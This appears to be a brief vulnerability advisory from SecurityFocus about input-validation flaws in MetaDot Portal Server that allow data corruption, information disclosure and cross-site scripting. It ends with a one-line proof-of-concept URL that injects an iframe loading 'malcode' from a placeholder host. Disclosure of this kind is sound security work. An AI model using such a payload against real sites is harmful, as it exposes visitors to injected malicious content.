source: https://www.securityfocus.com/bid/9439/info
A number of vulnerabilities have been found in all version of MetaDot Corporation's MetaDot Portal Server. Due to a failure of the software to properly validate user input, an attacker may be able to corrupt data, force the server to disclose system configuration information or initiate cross-site scripting.
/userchannel.pl?id=435&isa=NewsChannel&redirect=1&op="><iframe%20src=http://www.example.com/malcode>